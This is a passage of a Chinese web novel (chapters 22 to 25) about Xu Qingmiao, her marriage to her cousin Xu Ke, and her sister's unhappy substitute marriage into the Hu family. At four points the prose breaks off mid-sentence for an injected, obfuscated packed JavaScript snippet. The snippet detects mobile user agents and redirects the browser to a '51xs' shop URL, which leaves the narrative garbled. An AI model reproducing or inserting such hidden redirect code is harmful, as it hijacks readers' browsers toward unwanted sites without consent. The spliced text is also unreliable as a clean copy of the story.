胡家后院偏房,许清雾端坐镜前,身后婢女服侍她拆下发髻,一头黑发柔顺垂下。 “郎君今夜歇在了何处?”清冷的嗓音随意地问道。 身侧的婢女小心翼翼回道:“郎君去了王姨娘房里。” 许清雾听后沉默不语,很久后才低声道:“下去吧。” 她本不在意胡庆堂每晚宿在哪里,只今日见了三姐心底触动,不曾又回想起自己刚成婚时,对于新婚夫君也是满怀有所期待的。 只是新婚没多久,胡庆堂就纳了两房妾室,他进妾室房里那一夜,她枯坐了一整晚,天微微亮了她才慢慢醒悟,不该有任何期待的。 开始定的三姐时,胡家是承诺了不纳妾的,可等到换成她后,这事便根本不提了。 许清雾曾不甘地向胡庆堂质问:“大郎为何突然纳妾,当初和我家定亲时说过通房遣散不再纳妾,为何不遵守?” 胡庆堂仪表堂堂,脸上冷漠道:“你家难道就守诺了?我定下的是许三娘,我给的承诺也是对许三娘不是你。” 胡庆堂的话狠狠地打醒了许清雾,她再不管他纳多少妾收多少通房,只守着自己院子过日子。 但天长日久,总有妾室耀武扬威到她跟前,婆母也对她日益冷淡。 她愈加厌恶胡庆堂,甚至恼怒许清妙,也悔恨自己,当初怎么就没有许清妙那样的勇气拒婚。 许清妙只因为胡庆堂有过通房就拒婚,她却因为父亲几句似是而非的劝说点头答应。 如今见到许清妙,她就像一根刺一样扎在心里,被刺得发疼。 · 许清妙夜里失眠了,心底翻滚身体却不敢动弹,担心吵到身边的许恪。 她睁着眼望着床顶,似乎又看到了四妹妹冷视她的模样。 四妹妹该是受了多少委屈才会这般冷漠,以前的四妹妹虽不爱说话,但脸上是有笑的。 她的婆母是不是让她晨昏定省,三餐伺候了? 胡大郎是不是妾室通房一大堆,恶心到她了? 想想这些,许清妙就心潮起伏,空白的三年令她茫然,而痛苦却是四妹妹在承受。 “怎么还没睡?” 本来还能忍住的情绪,被许恪轻柔的声音抚慰,眼泪突然就奔涌而出。 她不想让他瞧见担心,不愿动作擦拭,只梗着嗓子解释:“白日里见了四妹妹,娘说她是代替我嫁给进了胡家。” “她现在整个人清瘦许多,冷冰冰的,也不愿理我了。” 她为自己当初拒婚却连累了许清雾而感到愧疚难过。 许恪伸手握着她的,似乎看出了她的难过,用了点力气将她搂进了怀里,“这事不怪你,别往自己身上放,等下回见了面问问她有什么想法。” 许清妙:“想法?” “嗯,如果实在过不下去,我们家也不会不管她,和离接回来便是。” 许清妙为难道:“她会同意吗?” 许恪叹气道:“所以得先问问她的想法,这事急不来,且记着就是。” “嗯。” 她低着头,许恪的手指精准地拂过她的眼睛,手指沾上眼泪。 “别哭,不是你的错。” 许恪心底怜惜,这些日子来慢慢查看书信,他知道当初娶她是自己先提出来的。 是他无意间看到了祖父写给三叔的信,知晓了她不是许家血脉,再发现自己身体对她的不排斥,仓促间他就果断对她抛出了诱饵。 嫁给他就可以帮助她拒婚。 而她也真的就顺利上钩了,近乎盲目地信任着他。 所以,如果有人要为这件事的后果负责,那只能是他,跟清妙没有关系。 “怎么不是我的错呢?如果我不悔婚,胡家定不会怠慢四妹妹,她也不会承受这些。” 许恪看着暗夜里流着泪的这双眼睛,心口悸动难忍,他不想看她哭。 可她还在默默流泪,一直擦不掉,像个犯了错的小姑娘。 许恪两只手捧着她的脸颊,指腹轻轻擦拭,看着她哭他喉咙发紧。 许清妙满脸眼泪被许恪捧着脸凑近,唇上一暖,是他在亲她。 她呆愣愣地没有反应,只觉得许恪的眼眸很亮,她能在漆黑一片中看清他的情绪。 难耐与渴望夹着心疼。 唇上两人贴着没动,许恪也在观察许清妙的反应,见她没哭了,只瞪着双圆圆的眼睛震惊看着他。 “不喜欢吗?” 他贴着她的唇亲她,又隔开一点开口问她,声音变得低沉。 “别哭了,不喜欢就不亲了。” 他只是突然想让她别哭了,亲一下果然很有用。 “四妹妹的事交给我办,我找机会去见她一面。” 许清妙听到这话才回过神,她脸上发热,眼睛再不敢看着他。 “好,哥哥尽快去,告诉她我很内疚。” 许恪轻轻嗯了一声,又低下头来想亲她。 却又停下来,“三娘真不喜欢哥哥亲你吗?” 许清妙脸爆热,她没想到自己回避这问题,他还会再问一遍。 她轻轻摇头:“没有不喜欢,哥哥别问了。” 她本内疚难过的心情都被他破坏了。 许恪的唇最后落在了她的眉心,轻轻一吻将她搂进了怀里。 暗叹:现在还不是时候。 * 自从知晓了四妹妹替她嫁给胡家这件事后,许清妙对弄清楚当初是如何嫁给长兄这事变得格外在意。 这几日,她每日里勤快地往来于王氏和老太太院里,旁敲侧击地让她们回忆当初的事情。 可惜,效果不佳。 这一日,王氏正与许清妙说起许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136899|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的婚事。 “二郎虽说读书不行,可脑子灵活,这些年走南闯北赚的不少,我这做娘的虽然嘴上说他不务正业,可谁知道了不得夸他一句能干?” 王氏脸上表情喜愁参半,叹道:“可这些京里小姐们一听说他没有功名,就纷纷犹豫了。” 京城里的官家小姐,虽然看中家世家风,但也看中才能人品,无官身还不读书在她们看来就是下下品了。 “娘,二郎的姻缘自有月老安排,您也不要太担心,何况不看僧面看佛面,咱们家门第也不低,总有适合的小娘子看上。” 王氏不认同地叹气,将身边的丫头婆子都赶了出去。 “三娘,你是不知晓,这几日在京城里,二郎这混小子天天逛青楼,喝花酒,结交了好些二世祖,昨儿夜里我说了他几句,他还乐呵呵地反驳我说他那是为了发展业务。” “什么业务不业务的,我看他就是不务正业,好好的做生意跑青楼酒馆去逍遥,屋里刚收的两房妾室也没能留住他。” 婆母的话涉及到了二哥的房内事,许清妙自然不好多嘴,只继续问她:“那二郎自己怎么打算的呢?” 王氏摇头,“谁知道呢?我问他几次都是说不急,他是不急,可我急呀。” “当初大郎的亲事多少人家上赶着找来,连长公主家都派了人来说亲,如今轮到二郎,别说公主府的,连四品官员家都没了……” 许清妙听王氏说到许恪身上了,若无其事地问了句:“娘可知道长公主家女郎为何看上大郎的?” 王氏瞥了她一眼,疑惑道:“这我哪能知道,你自己不更清楚?当初她为了接近大郎主动邀请你去京郊游玩,便是大郎带你一块去赴约的。” “结果你们回来路过遇到了胡家那位,也不知道发生了什么,一回来大郎就帮你拒婚了。” 许清妙没想到随意一问,竟然真问出些事情来。 她还想再问,王氏却不想说了,叹道:“如今二郎婚事可别再出什么幺蛾子了,娘这心里实在经不起折腾了。” 许清妙只得应道:“肯定不会了,当初是我和哥哥让母亲受累了。” 好话不嫌多,在王氏面前多说些软话,总归是有好处的。 等到回了自个院子,她关了门,将鹊枝拉到跟前坐下。 试探地问道:“鹊枝,三年前,我在京郊游玩时见过胡家大公子是吗?” 鹊枝颔首,不解地看着她:“小姐怎么提起这么久之前的事了?” 许清妙含糊道:“就是有些记不住了,问问你,你如实告诉我就成了。” “好,那小姐问吧,鹊枝记性好,都记着呢。” 许清妙见这丫头年纪比自己大一点,性子却是不见改,还是这般干脆利落。 不由放下心来,直问道:“我见到胡家大公子那日都发生了什么事?你好好跟我说一遍。” 23. 第 23 章 日落西山,蝉鸣渐歇。 回廊下摆着一把摇椅,余晖撒下昏黄,许清妙厌厌的躺在上面,望着天际,思绪万千。 鹊枝讲的很详细,她不由能想象当日情形。 京郊游玩是稀松平常之事,不过这回长公主家大娘子邀请许清妙出游是别有目的。 早在回京途中那艘船上,那位大娘子便对许恪一见钟情,如今回了京城约清妙郊游不过是要趁机向许恪表露心意。 只是没想到,大娘子刚要靠近,许恪便退开一丈远,冷面拒绝她凑近。 大娘子很难堪,还好也不再纠缠,只是对许清妙的热情肉眼可见的冷淡了。 而游玩途中遇到胡庆堂纯属意外,也正是因为这个小意外,让本不该在婚前见面的俩人见了一面。 那胡庆堂长相尚可,仪表俱佳,可许清妙见了他就是不喜。 她讨厌他的装腔作势,更不喜他看她的眼神,火热而不加掩饰。 他摇着一把折扇,故作风度地告诉她:“三娘请放心,我已经遣散了家中通房,往后也不会纳妾,只一心待你,我们必能举案齐眉。” 谁要跟他举案齐眉了? 自作多情。 她讨厌他。 收用通房时全为了自己快活,如今丢弃了却要将这种事情当做一种他对她看重的证明。 “看吧,我为了娶你,通房美婢都可以遣散,足见诚意吧!” 许清妙想这大概就是胡庆堂的真实想法。 这次见面,更加坚定了她退婚的决心,可现实却是开口说出拒绝都难。 大雍朝女子婚事,全靠父母之命媒妁之言,自己能做主的也就是在父母选定的人选里挑一个。 如今家里只给了一个选择。 许清妙依在车窗上哭泣,半卷着的帘子随风吹起,郊野绿意盎然,生机勃勃。 她却觉得自己了无生机。 明媚生动的脸上笼上愁云,这样默默垂泪的一幕落入了许恪眼中。 他骑着马行在车旁,眼底晦暗难明,不消片刻又变得坚定。 他抬起右手示意。 马车在一声喝令下停在了路旁,许清妙尚不能从自己的情绪中抽离,只呆呆地趴在窗沿,看着路旁的芦笛。 一阵风吹过,车帘被人牵起。 她模糊着双眼望去,原来是许恪弃了马凳车而来。 束袖骑装穿在他身上,利落飒爽。 马车重新启动,晃晃悠悠。 鹊枝坐在了驾车的小厮旁,帘子拉下,车厢内只剩他们俩。 “三妹妹,你确定不想嫁给胡庆堂?” 许恪坐在她身旁,语气淡淡,像是在说今日确实不想吃稀饭一般。 许清妙茫然地看着他,少倾,毫不犹豫地颔首:“哥哥,我不想嫁给他,他早就有好几个通房,如今为了亲事随意就将人打发了,这样的人薄情寡义的。” 许恪定定地看着她,像是在计划什么。 许清妙伸出手拉了拉他短短的衣摆,目含期待地看着他。 她知道自己这位状元郎长兄一定有办法帮她。如今他开了口,说明他起了意定会管她。 许恪低头盯着她拉着自己衣角的手,白白嫩嫩,整个身体更是不自觉得往他身前凑,淡淡的幽香传来。 他没有动,仔细感受这种与人靠近的感觉,他发现自己没有厌恶更没有那种闻到女子香味的恶心感。 就像上一回他将她从水里拉起来时一样,他抱着她,第一次与人这般接触,也是在那时,他惊喜地知道自己不排斥许清妙。 他也已经知道许清妙不是许家血脉,跟他毫无血缘关系。 就是这样一个被他当成妹妹看待的女子,他抱在怀里不会感觉恶心想吐。 许恪的面上淡淡,眼底却风起云涌,瞬息万变,直到那只抓着他衣摆的手再次晃了晃。 他撩眼看向她,微微笑了一下。 “三妹妹可愿意嫁给我?” 他的话简短浅显,许清妙却半响没听明白。 瞪着一双圆圆的眼睛,呆愣愣地看着他,“哥哥说什么?” 许恪低头凑近,望着她的眼睛再次重复了一遍:“愿意嫁给我吗?” 许清妙惊得往后倒,他们是堂兄妹怎么可以成亲的? 她的惊惧全写在脸上,许恪抬手扶住她不至摔倒,淡淡道:“三妹妹并非三叔血脉,我们之间没有血缘关系。” 许清妙觉得他这句解释的话比前一句更加可怕,什么叫她不是爹的血脉,什么又叫他们没有血缘关系! “不,我不信!” 她是偶尔迷糊,得过且过,但大是大非面前她分得清,更分得清谁对她真心好。 父亲虽然常年在京城任职,很少见她,可每个月往家里捎回来的小玩意不计其数。 她的小瓷人、精巧的小金锁,还有许许多多女孩子喜欢的小玩意,京城时兴的,各地特产的,她有好多,全是父亲从各地带回来送她的。 她不信,这样事事时时记挂她的父亲不是她的亲生父亲。 许恪似乎料到她不会相信,将只未封的信封递给了她。 “这是祖父托我带给三叔的信,你自己看。” 这几日刚到京城,三叔正好在外公务,他还没来得及将信递过去。 许清妙伸出手指接过信封,薄薄的一张纸却让她觉得千斤重。 她甚至有些不敢打开,因为她从心底知道哥哥不会开这种玩笑。 许恪耐心地等着她鼓足了勇气展开信,很快就见她边看边哭。 信里老爷子简单交代家常,提到许清妙身世也是一笔带过,着墨提醒许老三好好为许清妙送嫁,让她风风光光嫁出去。 许清妙抹了眼泪,抬起一双红得像兔子的眼睛看着他。 “哥哥好残忍,我如今可怎么办呢?” 许恪捏起她的帕子,轻轻给她擦去眼泪,缓缓道:“是不是许家血脉没有关系,我们家都认你,你要是想嫁给胡庆堂我们依然是你的娘家。” 许清妙捏紧了衣角,咬牙道:“我要是不想呢?” 许恪将手帕还回她,认真道:“那我想请三妹妹嫁给我可好?” 虽是再次听清这句话,许清妙还是没法当真。 “哥哥,你不是梦魇了?” 大雍朝是礼仪之邦,许家更是诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151496|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书传家,他们即便没有血缘关系,那名义上的兄妹身份还是存在的。 许恪突然很莫测地笑了下,一点也不像平时的他。 “三妹妹只管考虑愿意还是不愿意。” 许清妙不敢想,沉默不语。 许恪也不催她,只等她慢慢静下心来,才细细考量。 许清妙想起闺中女郎对许恪的评价,想起自己在祠堂门口许下的心愿,再看着眼前冰壑玉壶的长兄。 如果是他,有何不可呢? 一旦破除兄妹的禁咒,她会毫不犹豫选择他。 “哥哥,你有办法?” “我不要嫁给胡庆堂。” 听到她开口,许恪暗暗松了一口气,眼底流光溢彩般看向她。 “三娘只需在有人问你时候,坚定的告诉他你愿意嫁给我就成,其他的我都能处理好。” 车架缓缓入城,许清妙没有更多犹豫,只轻轻应了一声: “好!” 而这一日她的这声“好”,彻底改变了她的生活。 * 天边渐渐暗淡无光,她从摇摇晃晃的摇椅上起身,屋外凉风渐起,夏日的热渐渐散去。 她站在院门口等着许恪回家。 鹊枝从侧屋出来,见她还站在院子里,走近提醒她:“少夫人,您还是进屋等翰林吧,这几日翰林都是戌时才回的。” 许清妙摇了摇头:“鹊枝,我想马上见到他。” 她有很多话想跟他说,告诉他那一日发生的事情,问问他有没有办法知道后面他是如何说服家里人的。 鹊枝见劝不动,又进屋拿了件薄衫给她披着,虽然不冷却能防防蚊虫。 夜幕下的京城,灯火辉煌,街上夜市热闹,坊间歌舞升平。 许恪骑着一匹温顺的乌蒙马从宫门出来,太子养在宫内,外臣得赶在宫门下钥前出来。 这几日他都是踩点下钥的时间出来,只最近皇帝考教太子学问,太子恐惧答不上来。 天子隐怒,罚了太子功课,他这个侍讲便多给太子讲了一些。 可惜,再多讲也没什么用,太子还太年幼,哪里领悟得了太多政论时策。 可皇帝很在意太子的才能,隐隐透着急躁。 这不是个好兆头。 他记起自己恩师韩烈曾说过的话:“教书育人切莫揠苗助长,操之过急,太子还小需循循教导。” 可惜这话韩烈能对他说,他对皇帝却说不得。 许恪骑在马上想着事情,经过城里最热闹的艺轩坊,这里是官员文士流连忘返之处,坊间秦楼楚馆数不胜数。 许恪不会往里走,路过主道也不往里看,如喧嚣红尘中一颗明珠。 今日,却有一富户小厮突然拦在他的马前,喊到:“许翰林稍等,我家公子请您过去一聚。” 许恪皱眉,看向那莺莺燕燕的热闹街市,“你家公子哪位?” 那小厮道:“禀翰林,我家公子乃翰林昔日同窗余屏。” 许恪不由一震,余屏不是在袁州做知州吗?怎么此时回京,他给余屏写过信至今没接到回信,原来他人已经在京城了。 “带路。” 24. 第 24 章 莺歌琵琶绵绵曲,满座宾客熏熏谈。 许恪踏入阁楼,弥漫的酒香夹杂着一股浓烈的脂粉味扑面而来,令他皱眉。 达官贵人、文人雅客,无不喜欢在阁楼酒馆饮酒畅谈,琴音协奏,美人相伴。 多情行乐处,自命风流。 许恪却实在难忍,他少年天才、勤学苦练,不屑用这种方式消磨或者勾连关系,更何况还有身体上的排斥。 几乎是刚一踏入,他就毫不犹豫掉头走了。 只留给众人一个孤冷离开的背影。 那带路的小厮看得傻了眼,扯开嗓子喊道:“许翰林,已经到了呀。” 许恪闻声头都没回,径直往外走,倒是酒席正中正被劝酒的余屏听了小厮呼唤,立马站起了身。 “各位稍候,容我去去就来。” 衣冠尚不及整理,便急急忙忙追了上去,余屏懊恼,自己一喝多竟然忘了这位同窗的怪癖,根本闻不得这股女子香脂粉味。 刚在阁楼上远远瞧见许恪骑在马上走来,余屏便遣了随从去请他,他就是想与许恪叙叙旧,喝了酒的脑子一时大意没自己下去,反倒让他上来了。 只得自己去追许恪,他又记起自己是真有事找他呀。 余屏匆匆离席,席间另一人也看到了刚露面就转身走了的许恪。 胡庆堂转头看向侍候的小厮:“刚才可是许大郎?” “回公子,是他。” 胡庆堂略顿了顿,也推开了凑上来奉酒的女郎,撩袍跟了出去。 另一头,许恪已经出了阁楼,牵过随从递过来的缰绳,撩袍跨上了马背,正要甩鞭,背后传来挽留声。 “许兄,且慢且慢。” 许恪扭头看去,只见余屏正不顾形象地飞奔而来,歪歪斜斜的衣襟都已不成样子。 余屏是许恪会试的同窗,年纪比他还大了两岁,可遇见了总是喜欢唤他一声许兄。 许恪倒不在意称呼,就是这人不怎么着调,要不是因着许意的事情,轻易不会去麻烦他。 如今也不知道事情如何了,只能停下等他走近。 待余屏上气不接下气地停在他跟前时,许恪又翻身下马,两手做了个交叉揖。 “余兄,怎突然回京了?” 一州知州,无诏是不能回京的,许恪自然知道余屏肯定是朝廷召回来的。 余屏扶正了发冠,理了理衣襟,笑道:“朝里有人调我回来的,许兄寄来的信我也看到了,可惜那会我正好卸职准备回京,我本想给你回信,但想着一来二去的信估计还没我自己到京里快,就没给你回信了。” “这不,昨儿刚到,屋子都没收拾完今儿就被几个同乡拉着喝酒去了。” “我想着呀,明日就去你府上拜访,这不又巧了,站楼上一望就看到你了,所以才派了小厮去喊你,倒忘了你不爱来这种地方,是我大意了。” 许恪习惯了他这人大大咧咧,虽说不拘小节,心肠还是不坏。 “那我们边走边说?”许恪将马绳丢给了随从,转身看着他。 余屏自然没有什么意见,两人并肩走在街上。 “你信里问的事,我都知道,那生意你们家还是不要了好,免得惹上麻烦。”余屏说完,凑近他又低声道:“那是大皇子门下产业,如今朝野对大皇子青眼相看,惹不得咧,我这回就是被他们给踢回来的。” “我这人你也知道,识时务,他们找了个由头将我调回了京里,我求之不得呢。” 许恪听了心里自有几分计量,只颔首道谢:“还是麻烦你给我提醒了,不然我家那愣头青还在家里不服气。” 这种跟皇亲国戚沾惹上的生意,别说普通商人,就是正经官员都不爱掺和。 余屏爽快笑道:“小事小事,既然跟你说清了那我明日就不去登门了,这几日我也忙,等忙完了我请你喝酒。” 许恪笑道:“余兄客气了,这回该我请你喝酒,还望赏脸。” 许恪请酒自然是在正规的酒楼饭馆,自然不会在这些莺莺燕燕的歌楼妓馆。 余屏不爱去,太正经了,没意思。 但难得许恪请客喝酒,他也笑着应下。 俩人又说了会话才告辞分开。 许恪望着走远的余屏,敛了笑,转头看向跟了他一路的那俩人。 胡庆堂见许恪发现了自己,干脆几步走上前。 “见过大哥。” 许恪平静地看向他:“你一路跟着是有何事?” 他虽然早有打算去胡家一趟,但还是瞧不上胡庆堂这一路尾随的行径。 胡庆堂犹豫道:“其实也没什么事,就是刚见着大哥路过了,就想过来打声招呼,不知大哥和三娘近来可好?” 许恪皱眉看他,这胡庆堂长得一表人才,怎么做事说话这般没有分寸,大晚上的拦着他就为了问他和三娘好不好? 看他低眉顺眼心虚的模样,许恪几乎是瞬间就领悟到这人别有用心。 再一联想到当年清妙是跟眼前人定过亲,他立马冷了脸。 “不牢胡大公子费心,四妹还在家等你吧,还请回去告知她一声,这几日有空回家一趟,老太太进京了让她过来看望。” 胡庆堂脸色变得难看,泄了气似的不吭声,既不解释也不反驳。 三年前许胡两家可以说门当户对,可随着许恪的快速成长,与他自己的碌碌无为形成了鲜明的对比,两家人都知道胡家下一代肯定赶不上许家了。 再一想到自己看上的女郎嫁给了许恪,他在许恪面前就变得更加自惭形秽。 这三年来,他是真的想知道许恪会不会也跟普通男人一样,逛花街喝花酒。 所以今日在歌楼遇到,他才毫不犹豫地跟了上来。 可惜不过自取其辱了。 * 许恪转身上马,很快消失在了街角。 一路上重新顺畅,很快瞧见了亮着灯笼的宅院。 刚进了二进院子,便看到了许清妙正站在梧桐树下等他。 襦裙轻薄被风吹起,如仙女一般,脸上带着笑意,见了他欢快地向他跑来。 “哥哥,你可回来了,我等你很久了。” 许恪牵起她的手,勾起唇角笑了:“怎么不进屋等,外面蚊虫多,有咬你吗?” 说着他往她手臂上看,薄杉的罩衣也看不清底下。 许清妙拉着他进屋,不在意地说道:“没有,我不惹蚊子,哥哥用晚饭了吗?” 许恪颔首:“在太子那用过了,三娘有什么事要与我说吗?” 许清妙本来是有很多想说的,可冷静下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162788|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来又觉得不是什么非说不可的事情。 如今早已尘埃落定,前尘往事真不值得提起了。 她换来丫头给他备好衣物,看着他笑道:“一点小事,你先去洗漱。” 等丫头婆子都退出去了,浴房里传来许恪洗漱的水声,幽幽的灯光摇晃。 许清妙脱下外衫,舒舒服服地躺进了拔步床内,她虽然知道了那日的事情,可后来许恪如何说服家人的,她并不清楚。 她挺好奇的。 模模糊糊地想着,她眼皮开始往下拉,很快就合上睡着了。 许恪洗漱完出来,看到的许清妙躺在床上睡得正香,红扑扑的小脸上舒展放松,唇瓣微微嘟起,可爱的不行。 明明整体长相偏明艳,可一双圆圆的眼睛配上清透的眼神,更显得可爱迷人。 许恪放下头发,坐在床边,轻薄的单衣透着温度,尽量没有挨着她。 他拉开被子给她盖上,看她睡得沉了,才转身换了衣服出去。 外间鹊枝在守夜,见他出来刚要出声,被他制止。 “不用出声,仔细注意屋里,夫人要问起就告诉她我去见老爷了。”许恪冷淡的声音低声交代。 鹊枝习以为常,连忙点头应下。 夜色如浓墨,许恪身后跟着随安提了灯笼往许家正屋里走去。 随安一路上轻声解释:“翰林,老爷让您回来不管多晚都得去一趟,肯定是有要紧的事情。” 许恪淡淡嗯了一声,脸上波澜不惊。 随安便不再多言,只安心跟着主子往院子走去。 许家奴仆动作很快,短短两日便将两座宅子的后院打通了,如今他们回那边府里,只需要直接从后院的小径过去了。 许恪踏着夜色进了许坚的院子,而许坚早就等在了书房。 父子俩都很有默契,等到关上门只有彼此后,才开口说话。 许坚低声严肃道:“你那学生果真不堪大任?” 许恪紧锁眉头看向父亲,自然知道天性谨慎的父亲话里的意思。 他也多少听到一些朝堂风声,不关心朝堂势力的,只会看到皇帝对太子的偏宠,可真正跟皇帝太子都有接触的近臣,应该多少都能体会到皇帝的焦躁不安。 太子性格懦弱,资质平庸,如果只是作为富贵王爷,那自然无忧。 可皇帝对太子期以厚望,欲将天下托之,这恐怕后患无穷。 而皇帝显然也看出来了。 他摇了摇头,作为老师他可以安慰自己学生还小,需要耐心教导,可真要以帝王标准来看,那孩子确实资质太差,难堪大任。 许坚深深地叹气:“哎!要出乱子了。” 许恪低声道:“父亲勿过分忧虑,有陛下在乱不起来。” 许坚点头:“这事不可再提,你在学生面前也不可有任何纰漏。” 许恪颔首:“父亲放心,我知道轻重。” 父子俩就朝中隐隐透出的波诡云谲又提醒了几句,便收了话。 许坚喝了口茶,话音一转:“你要是身上有不好,尽快找郎中看看,免得你母亲担心。” 许恪一时不解,抬眼看着父亲,见他神色怪异,才猛然想起所说何事。 他脸上燥热,冷声道:“并没有这回事,父亲过滤了!” 25. 第 25 章 日升月落,晨露未晞。 阳光穿过树缝,打在那柄舞动的青锋剑上,剑光熠熠,许恪身姿轻盈,剑法凌厉,一招一式间尽是啸啸剑气。 许清妙笑意盈盈地依在廊下,一边欣赏一边等着许恪练完剑一起去王氏院子里用早膳。 昨日睡得太快,她有意将那日的事情留着今日来说,等到许恪擦了汗换了身衣裳,俩人才相携往王氏院子里去了。 打通的院墙上开了一道月门,门框用石料堆砌又在石面上雕出朵朵睡莲,地上重新铺就了一条青石板路,连通着两座宅院。 “昨日夜里是有话要对我说吗?” 许恪主动提及昨晚她没说的话,许清妙便将出游那日的事情简单地与他说了一遍。 “哥哥,你那日回家后就跟家里摊牌了,然后就被罚跪祠堂三天三夜,你不好奇你都跟家里说了些什么吗?” 她瞧着许恪,他的神色淡然,似乎对那日的事情并不是很感兴趣。 许恪侧头看向她,伸出一只手让她牵住,浅浅勾了勾唇:“不是很好奇,你不要想太多,那日的事情应该都是在我的预料之中。” 他不清楚当时的自己具体如何做的,但他知道自己一旦确定要去做什么事情,就一定会做完做好。 许清妙歪着头看了他几瞬,像是认可了他的话,晃了晃他的手笑了。 行吧,哥哥不好奇,那她也不是很好奇,只要知道如何缓解和四妹妹的关系就行了。 “还有一事,我请了郎中今日午后上门为你把脉,午膳时候我也会回来一趟。” 许清妙颔首应下。 俩人并肩进了王氏的院子,还未踏入里屋便听到里面传来许意的说话声。 “娘,我要带云竹和俞娘一起去我刚新开的制衣坊,让她们帮我做事,往后接待的客人都是京城里的夫人太太,有她们帮忙更合适。” 许清妙与许恪对视了一眼,默默进了屋给王氏请安。 等他们正房一家坐在厅里用膳时,许意已经将他的事情又说了一遍。 原来他是打算将云竹和俞娘一起接到外面的铺子里,让她们帮他经营制衣坊。 “她们哪会给你看铺子?这成何体统呀。” 王氏还是不愿松口,看了眼坐在首位的许坚,想让他出口反对,却见他板着一张脸一声不吭,似乎不关他事一般。 许意也偷偷瞧了父亲脸色,见他脸色如常,大胆反驳王氏道:“娘,我问你,谁最懂这京里夫人太太们喜好的款式面料还有时兴的款式?自然是小娘子呀,我让她们去铺子里帮忙,她们就能跟那些夫人太太好好沟通了,我现在找的这些婆子小丫头她们在官太太面前立不住,哪里打探得到人家喜好的?” “况且,俞娘和云竹也很乐意帮我的。” 他说完瞥了眼一旁专心用膳不吭声的长兄,他也是刚从王氏那里知晓原来当初俞娘差点嫁给他长兄。 可惜阴差阳错,如今成了他的妾室。 他不无感慨,又转头看了眼许清妙,他喜欢的妹妹嫁给了长兄,准备给长兄说的姑娘又嫁给了他。 谁又不说是一种孽缘。 还好,他也不是儿女情长之人,只要三妹妹开心就好。 许清妙抬眼便看到了许意复杂的眼神,不解地看着他道:“二弟,可是需要我帮你劝娘?” 不待王氏和许意反应,许清妙就糯糯道:“娘,儿媳倒觉得可以让她们去帮忙,如今二弟未娶正妻,也没人管着她们,有个正事让她们去做自然少了些空旷无聊。” 要是许恪允许,她都想去铺子里看看。 许恪抬眼看了她一眼,瞧见了她眼底的那点期望,不由停了筷子看向许意缓缓道:“既然你想好了,那就拿出具体的章程来,不要到时候惹出闲话或者麻烦影响到家里。” 许意没想到长兄会为他说话,咧着嘴应声道:“有的,有的,我回头就将具体的章程列出来给娘瞧。” 王氏无奈哼道:“老爷,你也不管管?” 她倒不是非要唱反调,不过总得顾及点名声,怕人家背后埋汰许家难道穷到了需要妾室抛头露面做生意不成? 许坚瞥了王氏一眼,沉声道:“只可在内室见女眷,另外派点人去铺子里照看着,有事及时回复府里。” 许意自然一一应下,事情办成就行,其他都不是事。 等到用完饭散了场,许清妙送他们俩出院子。 许意噙着笑谢过许恪和许清妙:“大哥,三妹妹,今日多谢你们了。” 许恪冷冷看了他一眼,意有所指。 许意自然意会,只得不情不愿地改口:“谢谢大嫂。” 事已至此,他也早就释怀,叫声大嫂也是应该的了。 许清妙甜甜地应了他:“哎,二弟。” 许意泄气地扯了扯嘴角,觉得自己怎么算怎么亏了,好好的二哥成了二弟,不由幽怨的看了长兄一眼,可惜只见他面容含笑。 显然很满意。 许清妙又回了王氏屋里,许恪与许意一起往外走,去了前院。 行至前院回廊下,许恪随意地看了一眼许意,问道:“袁州的生意都撤了吗?” 许意闷声道:“撤了,整个染丝销路都让给那些人了,他们给了我这个数。” 说完伸出手指比了个六,“给了这数作为补偿,这数看着挺多,其实用不了三年我就赚回来了,所以还是亏了。” 他自己也清楚,如果不是他出身许家,对方也忌惮他父亲叔伯,恐怕被白占也是很有可能的。 许恪看出了他心中不甘,劝道:“那些都是大皇子的人,如今我给太子做了西席,明面上我们许家都是太子一党,那边生意丢了就丢了吧,好好将京城的生意做好了。” “京城遇到什么事记得回来说一声,不要自己闷头干,在这里起码我们不会毫无还手之力。” 许恪点到即止的提醒他。 许意颔首:“弟弟晓得了。” · 一整个上午太阳火辣辣的,许清妙没有再出门,一直陪着王氏打理宅子里的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 